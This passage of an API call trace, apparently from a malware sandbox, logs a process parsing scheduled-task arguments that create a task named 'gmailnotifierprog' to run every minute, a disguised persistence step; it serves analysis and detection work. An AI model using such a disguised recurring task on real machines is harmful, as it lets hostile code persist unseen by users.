returned 0x409 [0108.214] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.214] lstrlenW (lpString="ec") returned 2 [0108.214] GetThreadLocale () returned 0x409 [0108.214] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.214] lstrlenW (lpString="rl") returned 2 [0108.214] GetThreadLocale () returned 0x409 [0108.214] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.214] lstrlenW (lpString="delay") returned 5 [0108.214] GetThreadLocale () returned 0x409 [0108.214] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.214] lstrlenW (lpString="np") returned 2 [0108.214] GetThreadLocale () returned 0x409 [0108.214] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0108.214] lstrlenW (lpString="hresult") returned 7 [0108.214] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.215] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.215] lstrlenW (lpString="/create") returned 7 [0108.215] lstrlenW (lpString="-/") returned 2 [0108.215] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.215] lstrlenW (lpString="create") returned 6 [0108.215] lstrlenW (lpString="create") returned 6 [0108.215] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.215] lstrlenW (lpString="create") returned 6 [0108.215] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.215] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|create|") returned 8 [0108.215] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|create|") returned 8 [0108.215] lstrlenW (lpString="|create|") returned 8 [0108.215] lstrlenW (lpString="|create|") returned 8 [0108.254] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0108.254] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.254] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.254] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.254] lstrlenW (lpString="/tn") returned 3 [0108.254] lstrlenW (lpString="-/") returned 2 [0108.254] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.254] lstrlenW (lpString="create") returned 6 [0108.254] lstrlenW (lpString="create") returned 6 [0108.254] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.254] lstrlenW (lpString="tn") returned 2 [0108.254] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.254] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|create|") returned 8 [0108.254] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tn|") returned 4 [0108.254] lstrlenW (lpString="|create|") returned 8 [0108.254] lstrlenW (lpString="|tn|") returned 4 [0108.254] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0108.254] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.254] lstrlenW (lpString="?") returned 1 [0108.254] lstrlenW (lpString="?") returned 1 [0108.254] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.254] lstrlenW (lpString="tn") returned 2 [0108.254] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.254] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|?|") returned 3 [0108.254] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tn|") returned 4 [0108.254] lstrlenW (lpString="|?|") returned 3 [0108.254] lstrlenW (lpString="|tn|") returned 4 [0108.254] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.254] lstrlenW (lpString="s") returned 1 [0108.254] lstrlenW (lpString="s") returned 1 [0108.254] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.255] lstrlenW (lpString="tn") returned 2 [0108.255] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.255] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|s|") returned 3 [0108.255] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tn|") returned 4 [0108.255] lstrlenW (lpString="|s|") returned 3 [0108.255] lstrlenW (lpString="|tn|") returned 4 [0108.255] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.255] lstrlenW (lpString="u") returned 1 [0108.255] lstrlenW (lpString="u") returned 1 [0108.255] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.255] lstrlenW (lpString="tn") returned 2 [0108.255] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.255] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|u|") returned 3 [0108.255] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tn|") returned 4 [0108.255] lstrlenW (lpString="|u|") returned 3 [0108.255] lstrlenW (lpString="|tn|") returned 4 [0108.255] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.255] lstrlenW (lpString="p") returned 1 [0108.255] lstrlenW (lpString="p") returned 1 [0108.255] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.255] lstrlenW (lpString="tn") returned 2 [0108.255] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.255] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|p|") returned 3 [0108.255] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tn|") returned 4 [0108.255] lstrlenW (lpString="|p|") returned 3 [0108.255] lstrlenW (lpString="|tn|") returned 4 [0108.255] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.255] lstrlenW (lpString="ru") returned 2 [0108.255] lstrlenW (lpString="ru") returned 2 [0108.255] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.255] lstrlenW (lpString="tn") returned 2 [0108.256] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.256] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|ru|") returned 4 [0108.256] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tn|") returned 4 [0108.256] lstrlenW (lpString="|ru|") returned 4 [0108.256] lstrlenW (lpString="|tn|") returned 4 [0108.256] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0108.256] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.256] lstrlenW (lpString="rp") returned 2 [0108.256] lstrlenW (lpString="rp") returned 2 [0108.256] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.256] lstrlenW (lpString="tn") returned 2 [0108.256] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.256] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|rp|") returned 4 [0108.256] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tn|") returned 4 [0108.256] lstrlenW (lpString="|rp|") returned 4 [0108.256] lstrlenW (lpString="|tn|") returned 4 [0108.256] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0108.256] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.256] lstrlenW (lpString="sc") returned 2 [0108.256] lstrlenW (lpString="sc") returned 2 [0108.256] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.256] lstrlenW (lpString="tn") returned 2 [0108.256] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.256] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|sc|") returned 4 [0108.256] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tn|") returned 4 [0108.256] lstrlenW (lpString="|sc|") returned 4 [0108.256] lstrlenW (lpString="|tn|") returned 4 [0108.256] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0108.256] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.256] lstrlenW (lpString="mo") returned 2 [0108.256] lstrlenW (lpString="mo") returned 2 [0108.256] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.257] lstrlenW (lpString="tn") returned 2 [0108.257] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.257] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|mo|") returned 4 [0108.257] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tn|") returned 4 [0108.257] lstrlenW (lpString="|mo|") returned 4 [0108.257] lstrlenW (lpString="|tn|") returned 4 [0108.257] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0108.257] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.257] lstrlenW (lpString="d") returned 1 [0108.257] lstrlenW (lpString="d") returned 1 [0108.257] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.257] lstrlenW (lpString="tn") returned 2 [0108.257] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.257] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|d|") returned 3 [0108.257] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tn|") returned 4 [0108.257] lstrlenW (lpString="|d|") returned 3 [0108.257] lstrlenW (lpString="|tn|") returned 4 [0108.257] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.257] lstrlenW (lpString="m") returned 1 [0108.257] lstrlenW (lpString="m") returned 1 [0108.257] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.257] lstrlenW (lpString="tn") returned 2 [0108.257] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.257] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|m|") returned 3 [0108.257] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tn|") returned 4 [0108.257] lstrlenW (lpString="|m|") returned 3 [0108.257] lstrlenW (lpString="|tn|") returned 4 [0108.257] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.257] lstrlenW (lpString="i") returned 1 [0108.257] lstrlenW (lpString="i") returned 1 [0108.257] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.257] lstrlenW (lpString="tn") returned 2 [0108.257] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.258] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|i|") returned 3 [0108.258] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tn|") returned 4 [0108.258] lstrlenW (lpString="|i|") returned 3 [0108.258] lstrlenW (lpString="|tn|") returned 4 [0108.258] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.258] lstrlenW (lpString="tn") returned 2 [0108.258] lstrlenW (lpString="tn") returned 2 [0108.258] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.258] lstrlenW (lpString="tn") returned 2 [0108.258] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.258] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tn|") returned 4 [0108.258] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|tn|") returned 4 [0108.258] lstrlenW (lpString="|tn|") returned 4 [0108.258] lstrlenW (lpString="|tn|") returned 4 [0108.258] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0108.258] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.258] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.258] lstrlenW (lpString="gmailnotifierprog") returned 17 [0108.258] lstrlenW (lpString="-/") returned 2 [0108.258] StrChrIW (lpStart="-/", wMatch=0x67) returned 0x0 [0108.258] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.258] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.258] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.258] lstrlenW (lpString="gmailnotifierprog") returned 17 [0108.258] StrChrIW (lpStart="gmailnotifierprog", wMatch=0x3a) returned 0x0 [0108.258] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.258] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.258] lstrlenW (lpString="gmailnotifierprog") returned 17 [0108.258] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.258] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.258] lstrlenW (lpString="/sc") returned 3 [0108.258] lstrlenW (lpString="-/") returned 2 [0108.258] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.258] lstrlenW (lpString="create") returned 6 [0108.259] lstrlenW (lpString="create") returned 6 [0108.259] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.259] lstrlenW (lpString="sc") returned 2 [0108.259] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.259] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|create|") returned 8 [0108.259] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|sc|") returned 4 [0108.259] lstrlenW (lpString="|create|") returned 8 [0108.259] lstrlenW (lpString="|sc|") returned 4 [0108.259] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0108.259] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.259] lstrlenW (lpString="?") returned 1 [0108.259] lstrlenW (lpString="?") returned 1 [0108.259] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.259] lstrlenW (lpString="sc") returned 2 [0108.259] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.259] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|?|") returned 3 [0108.259] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|sc|") returned 4 [0108.259] lstrlenW (lpString="|?|") returned 3 [0108.259] lstrlenW (lpString="|sc|") returned 4 [0108.259] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.259] lstrlenW (lpString="s") returned 1 [0108.259] lstrlenW (lpString="s") returned 1 [0108.259] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.259] lstrlenW (lpString="sc") returned 2 [0108.259] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.259] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|s|") returned 3 [0108.259] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|sc|") returned 4 [0108.259] lstrlenW (lpString="|s|") returned 3 [0108.259] lstrlenW (lpString="|sc|") returned 4 [0108.259] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.259] lstrlenW (lpString="u") returned 1 [0108.259] lstrlenW (lpString="u") returned 1 [0108.260] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.260] lstrlenW (lpString="sc") returned 2 [0108.260] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.260] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|u|") returned 3 [0108.260] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|sc|") returned 4 [0108.260] lstrlenW (lpString="|u|") returned 3 [0108.260] lstrlenW (lpString="|sc|") returned 4 [0108.260] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.260] lstrlenW (lpString="p") returned 1 [0108.260] lstrlenW (lpString="p") returned 1 [0108.260] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.260] lstrlenW (lpString="sc") returned 2 [0108.260] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.260] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|p|") returned 3 [0108.260] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|sc|") returned 4 [0108.260] lstrlenW (lpString="|p|") returned 3 [0108.260] lstrlenW (lpString="|sc|") returned 4 [0108.260] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.260] lstrlenW (lpString="ru") returned 2 [0108.260] lstrlenW (lpString="ru") returned 2 [0108.260] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.260] lstrlenW (lpString="sc") returned 2 [0108.260] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.260] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|ru|") returned 4 [0108.260] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|sc|") returned 4 [0108.260] lstrlenW (lpString="|ru|") returned 4 [0108.260] lstrlenW (lpString="|sc|") returned 4 [0108.260] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0108.260] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.260] lstrlenW (lpString="rp") returned 2 [0108.260] lstrlenW (lpString="rp") returned 2 [0108.260] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.261] lstrlenW (lpString="sc") returned 2 [0108.261] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.261] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|rp|") returned 4 [0108.261] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|sc|") returned 4 [0108.261] lstrlenW (lpString="|rp|") returned 4 [0108.261] lstrlenW (lpString="|sc|") returned 4 [0108.261] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0108.261] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.261] lstrlenW (lpString="sc") returned 2 [0108.261] lstrlenW (lpString="sc") returned 2 [0108.261] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.261] lstrlenW (lpString="sc") returned 2 [0108.261] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.261] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|sc|") returned 4 [0108.261] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|sc|") returned 4 [0108.261] lstrlenW (lpString="|sc|") returned 4 [0108.261] lstrlenW (lpString="|sc|") returned 4 [0108.261] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0108.261] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.261] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.261] lstrlenW (lpString="MINUTE") returned 6 [0108.261] lstrlenW (lpString="-/") returned 2 [0108.261] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0108.261] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.261] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.261] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.261] lstrlenW (lpString="MINUTE") returned 6 [0108.261] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0108.261] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.261] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.261] GetProcessHeap () returned 0x177cee70000 [0108.261] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0x18) returned 0x177cee7aa40 [0108.261] _memicmp (_Buf1=0x177cee7aa40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.262] lstrlenW (lpString="MINUTE") returned 6 [0108.262] GetProcessHeap () returned 0x177cee70000 [0108.262] RtlAllocateHeap (HeapHandle=0x177cee70000, Flags=0xc, Size=0xe) returned 0x177cee7a9a0 [0108.262] lstrlenW (lpString="MINUTE") returned 6 [0108.262] lstrlenW (lpString=" \x09") returned 2 [0108.262] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0108.262] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0108.262] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0108.262] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0108.262] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0108.262] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0108.262] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0108.262] GetLastError () returned 0x0 [0108.262] lstrlenW (lpString="MINUTE") returned 6 [0108.262] lstrlenW (lpString="MINUTE") returned 6 [0108.262] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.262] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.262] lstrlenW (lpString="/mo") returned 3 [0108.262] lstrlenW (lpString="-/") returned 2 [0108.262] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.262] lstrlenW (lpString="create") returned 6 [0108.262] lstrlenW (lpString="create") returned 6 [0108.262] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.262] lstrlenW (lpString="mo") returned 2 [0108.262] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.262] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|create|") returned 8 [0108.262] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|mo|") returned 4 [0108.262] lstrlenW (lpString="|create|") returned 8 [0108.262] lstrlenW (lpString="|mo|") returned 4 [0108.262] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0108.263] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.263] lstrlenW (lpString="?") returned 1 [0108.263] lstrlenW (lpString="?") returned 1 [0108.263] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.263] lstrlenW (lpString="mo") returned 2 [0108.263] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.263] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|?|") returned 3 [0108.263] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|mo|") returned 4 [0108.263] lstrlenW (lpString="|?|") returned 3 [0108.263] lstrlenW (lpString="|mo|") returned 4 [0108.263] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.263] lstrlenW (lpString="s") returned 1 [0108.263] lstrlenW (lpString="s") returned 1 [0108.263] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.263] lstrlenW (lpString="mo") returned 2 [0108.263] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.263] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|s|") returned 3 [0108.263] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|mo|") returned 4 [0108.263] lstrlenW (lpString="|s|") returned 3 [0108.263] lstrlenW (lpString="|mo|") returned 4 [0108.263] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.263] lstrlenW (lpString="u") returned 1 [0108.263] lstrlenW (lpString="u") returned 1 [0108.263] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.263] lstrlenW (lpString="mo") returned 2 [0108.263] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.263] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|u|") returned 3 [0108.263] _vsnwprintf (in: _Buffer=0x177cee73f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x162dcec0e8 | out: _Buffer="|mo|") returned 4 [0108.263] lstrlenW (lpString="|u|") returned 3 [0108.263] lstrlenW (lpString="|mo|") returned 4 [0108.263] RtlRestoreLastWin32Error () returned 0x162dfe5000 [0108.263] lstrlenW (lpString="p") returned 1 [0108.264] lstrlenW (lpString="p") returned 1 [0108.264] _memicmp (_Buf1=0x177cee73ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.264] lstrlenW (lpString="mo") returned 2 [0108.264] _memicmp (_Buf1=0x177cee73f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.264] _vsnwprintf (in: _Buffer=0x177cee74260, _BufferCount=0x4, 